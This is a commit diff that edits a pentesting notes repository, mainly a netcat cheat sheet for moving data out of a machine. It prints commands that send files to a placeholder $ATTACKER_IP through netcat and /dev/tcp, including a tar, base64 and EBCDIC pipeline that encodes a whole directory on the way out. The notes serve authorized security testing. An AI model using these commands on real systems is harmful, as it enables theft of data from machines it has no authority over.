Clean up
This commit is contained in:
parent
cf42eb6d99
commit
32c50cb82e
|
@ -1,34 +1,38 @@
|
||||||
# Netcat
|
# Netcat
|
||||||
|
|
||||||
## Receiver
|
## Receive data via netcats
|
||||||
|
|
||||||
* RX
|
### Receiver
|
||||||
|
|
||||||
|
Set up the receiver to store the data `out.txt`.
|
||||||
```sh
|
```sh
|
||||||
nc -lp 8080 > out.txt
|
nc -lp 8080 > out.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
## Transceiver
|
### Transceiver
|
||||||
|
|
||||||
* TX
|
The transceiver transfers the file through netcat to the already setup receiver.
|
||||||
```sh
|
```sh
|
||||||
nc $ATTACKER_IP 8080 < in.txt
|
nc $ATTACKER_IP 8080 < in.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
* TX without nc
|
#### Transceiver tricks
|
||||||
|
|
||||||
|
The file `out.txt` can be send without netcat as well in the following way
|
||||||
```sh
|
```sh
|
||||||
cat <file> > /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT
|
cat <file> > /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT
|
||||||
```
|
```
|
||||||
|
|
||||||
* Have to be end manually after a while
|
The connection has to be end manually after a while, this won't happen automatically.
|
||||||
|
|
||||||
## Compress and Encode
|
### Compress and Encode
|
||||||
|
|
||||||
* Compress and encode the transmitted data
|
To save throughput, compress and encode the transmitted data before it is send
|
||||||
```sh
|
```sh
|
||||||
tar cfz - <directory> | base64 | dd conv=ebcdic > /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT
|
tar cfz - <directory> | base64 | dd conv=ebcdic > /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT
|
||||||
```
|
```
|
||||||
|
|
||||||
* On receiver's side, after `out.data` has been received
|
On receiver's side, after `out.data` has been received
|
||||||
```sh
|
```sh
|
||||||
dd conv=ascii if=out.data | base64 -d > out.tar
|
dd conv=ascii if=out.data | base64 -d > out.tar
|
||||||
tar xvf out.tar
|
tar xvf out.tar
|
||||||
|
|
|
@ -1,4 +1,5 @@
|
||||||
# Pentesting
|
# Pentesting
|
||||||
|
|
||||||
* [Pentesting Execution Standard](http://www.pentest-standard.org/index.php/Main_Page)
|
* [Pentesting Execution Standard](http://www.pentest-standard.org/index.php/Main_Page)
|
||||||
Authorized audit of security systems of computers and networks.
|
Authorized audit of security systems of computers and networks.
|
||||||
* [Rules of Engagement -- Cheat Sheet](https://sansorg.egnyte.com/dl/bF4I3yCcnt/?) and [redteam.guide ROEs](https://redteam.guide/docs/templates/roe_template/)
|
* [Rules of Engagement -- Cheat Sheet](https://sansorg.egnyte.com/dl/bF4I3yCcnt/?) and [redteam.guide ROEs](https://redteam.guide/docs/templates/roe_template/)
|
||||||
|
|
Loading…
Reference in New Issue